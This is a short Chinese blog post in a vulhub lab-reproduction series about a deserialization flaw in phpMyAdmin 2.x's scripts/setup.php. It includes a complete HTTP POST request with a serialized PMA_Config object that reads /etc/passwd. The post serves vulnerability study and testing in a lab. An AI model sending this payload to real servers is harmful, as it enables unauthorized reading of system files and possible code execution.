phpmyadmin scripts/setup.php 反序列化漏洞（WooYun-2016-199433）

最新推荐文章于 2024-06-09 23:00:35 发布

小白萝卜

最新推荐文章于 2024-06-09 23:00:35 发布

阅读量306

点赞数

CC 4.0 BY-SA版权

分类专栏： vulhub漏洞复现文章标签：安全

本文链接：https://blog.csdn.net/EC_Carrot/article/details/118937521

vulhub漏洞复现专栏收录该内容

178 篇文章

订阅专栏

此篇博客揭示了PHPMyAdmin 2.x版本中的安全漏洞，攻击者可通过发送恶意数据包读取任意文件或执行代码，无需链接数据库。演示了如何利用该漏洞并提供复现步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

漏洞简介

phpmyadmin 2.x版本中存在一处反序列化漏洞，通过该漏洞，攻击者可以读取任意文件或执行任意代码。
这个漏洞无需链接数据库，与数据库无关。

漏洞复现

发送如下数据包，即可读取/etc/passwd：

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}